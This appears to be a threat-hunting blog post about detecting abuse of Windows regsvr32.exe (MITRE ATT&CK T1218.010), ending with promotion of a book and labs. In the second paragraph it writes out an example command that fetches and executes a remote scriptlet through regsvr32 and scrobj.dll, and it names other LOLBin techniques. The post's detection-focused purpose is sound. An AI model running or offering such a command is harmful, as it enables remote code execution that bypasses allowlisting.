An analyst is triaging an EDR alert queue and one line catches their eye: regsvr32.exe making an outbound HTTPS connection. Nothing else about it looks wrong. The binary is signed by Microsoft, it lives where it's supposed to live in System32, and the application allowlisting policy waves it straight through, because that policy was built to trust signed Microsoft binaries and distrust everything else. Regsvr32 is not on anyone's watchlist. That is exactly why it has been a favorite living-off-the-land technique for the better part of a decade.
The technique is documented in MITRE ATT&CK as T1218.010, Signed Binary Proxy Execution: Regsvr32, and the trick underneath it is almost embarrassingly simple once you see it. Regsvr32's actual job is registering and unregistering COM DLLs in the Windows Registry. But it also supports a scriptlet execution path meant for COM+ registration through scrobj.dll, and that path will happily pull a .sct scriptlet from a remote server and execute it, no local file ever written to disk, no registry key ever actually created. The command looks something like regsvr32.exe /s /n /u /i:http://server/payload.sct scrobj.dll, and every component of it is a legitimate, signed, expected Windows binary doing something it was designed to do. Nothing about the file itself is malicious. The malice is entirely in how it's invoked, which is exactly the class of attack that signature-based and reputation-based defenses cannot see, because there is no bad file to have a signature.
This is the point where a lot of detection thinking stalls out, because "monitor for regsvr32.exe" produces an unusable flood of false positives; legitimate software registers COM components constantly. Chasing the binary is the wrong hypothesis. The hunt has to start from the technique, not the tool: what would this specific abuse pattern actually look like in telemetry that ordinary registration wouldn't? Regsvr32 making a network connection at all is unusual outside of a handful of legitimate installers. Regsvr32 spawned with /i:http in its command line is more unusual still. Regsvr32 as a child process of something that isn't an installer, a software deployment tool, or explorer.exe, more unusual again. None of those three signals alone is proof. Stacked together, hypothesis-driven and specific to what this technique actually requires to function, they're a hunt query worth running on a schedule rather than an alert you'd drown in.
That's the actual difference between threat hunting and waiting for a detection to fire: you start from an ATT&CK technique, ask what evidence it has to leave behind given how it mechanically works, and go looking for that evidence before a payload has done anything else. It scales past regsvr32. The same reasoning is why LOLBin abuse in general, mshta, rundll32, certutil pulling remote content, keeps working against organizations whose entire detection posture is "alert on known-bad," and keeps getting caught by the ones whose posture is "alert on behavior that a legitimate use case wouldn't produce."
That's the whole discipline Codelivly's Hands-On Threat Hunting Book: MITRE ATT&CK & Sigma is built around: starting from the technique instead of the ticket, and writing the Sigma logic that turns a hypothesis like this one into something that actually fires. If you want to try the reasoning hands-on before you commit to the book, the free Threat Hunting lab and MITRE ATT&CK Mapping lab on codelivly.com walk the same starting-from-the-technique approach.
Top comments (0)